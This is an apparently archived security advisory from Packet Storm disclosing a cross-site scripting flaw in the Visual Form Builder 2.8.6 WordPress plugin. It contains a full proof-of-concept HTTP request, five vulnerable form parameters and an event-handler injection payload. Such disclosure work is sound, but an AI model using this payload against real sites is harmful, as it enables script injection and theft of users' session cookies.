Twenty Year Anniversary

WordPress Visual Form Builder 2.8.6 Cross Site Scripting

WordPress Visual Form Builder 2.8.6 Cross Site Scripting
Posted Mar 28, 2016
Authored by Sachin Wagh

WordPress Visual Form Builder plugin version 2.8.6 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 855b7b6b6a6390165f50cf3fcc37156c

WordPress Visual Form Builder 2.8.6 Cross Site Scripting

Change Mirror Download
Product: Visual Form Builder
Version: 2.8.6
Exploit Author: Sachin Wagh
Home page Link: https://wordpress.org/plugins/visual-form-builder/

============================================================================
Details:
The Visual Form Builder plugin for WordPress is prone to a multiple
cross-site scripting vulnerabilities because it fails to sufficiently
sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code
in the browser of an unsuspecting user in the context of the affected
site. This may allow the attacker to steal cookie-based authentication
credentials and to launch other attacks.
============================================================================
Proof-Of-Concept:
1. Burp Request :
POST /wordpress-4.4/wordpress/wp-admin/admin.php?page=vfb-add-new HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0)
Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wordpress-4.4/wordpress/wp-admin/admin.php?page=vfb-add-new
Cookie: wordpress_9053f69aa70f4fc50a08aff40972c70e=root%7C1459163175%7CgnpQ5n2Jyk8tvw7nITUlZpPevPKU3r5JS9Ja1FqziVQ%7C42531fef03062ec0f133098c9ed48188fdfde52068a62e2fe97bf6cace6400a5;
wp-settings-time-1=1458990477;
wp-settings-1=libraryContent%3Dbrowse%26mfold%3Do%26posts_list_mode%3Dexcerpt%26uploader%3D1%26widgets_access%3Doff;
wordpress_logged_in_9053f69aa70f4fc50a08aff40972c70e=root%7C1459163175%7CgnpQ5n2Jyk8tvw7nITUlZpPevPKU3r5JS9Ja1FqziVQ%7C9a2dbae4f558cd34542207d3e49ac49e475db7ebc883b067b94a3e6501affaa5;
security_level=0; _ga=GA1.1.1331075502.1458634204
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 264
action=create_form&_wpnonce=4cdadd3b17&_wp_http_referer=%2Fwordpress-4.4%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3Dvfb-add-new&form_title=XSS-1&form_email_from_name=XSS-2&form_email_from=XSS-3&form_email_subject=XSS-4&form_email_to%5B%5D=XSS-5&submit=Create+Form
2. Payload : " onmouseover=prompt(1) "
============================================================================
Vulnerable Product: [+] Visual Form Builder 2.8.6
Vulnerable Parameter(s):
[+]form_title
[+]form_email_to[]
[+]form_email_from_name
[+]form_email_from
[+]form_email_subject

============================================================================

Affected Area(s):
[+] http://localhost/wordpress-4.4/wordpress/wp-admin/admin.php?page=vfb-add-new
============================================================================
Credits & Authors :
Sachin Wagh (@tiger_tigerboy)
============================================================================

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

June 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    14 Files
  • 2
    Jun 2nd
    1 Files
  • 3
    Jun 3rd
    3 Files
  • 4
    Jun 4th
    18 Files
  • 5
    Jun 5th
    21 Files
  • 6
    Jun 6th
    8 Files
  • 7
    Jun 7th
    16 Files
  • 8
    Jun 8th
    18 Files
  • 9
    Jun 9th
    5 Files
  • 10
    Jun 10th
    2 Files
  • 11
    Jun 11th
    21 Files
  • 12
    Jun 12th
    32 Files
  • 13
    Jun 13th
    15 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    4 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    2 Files
  • 18
    Jun 18th
    14 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close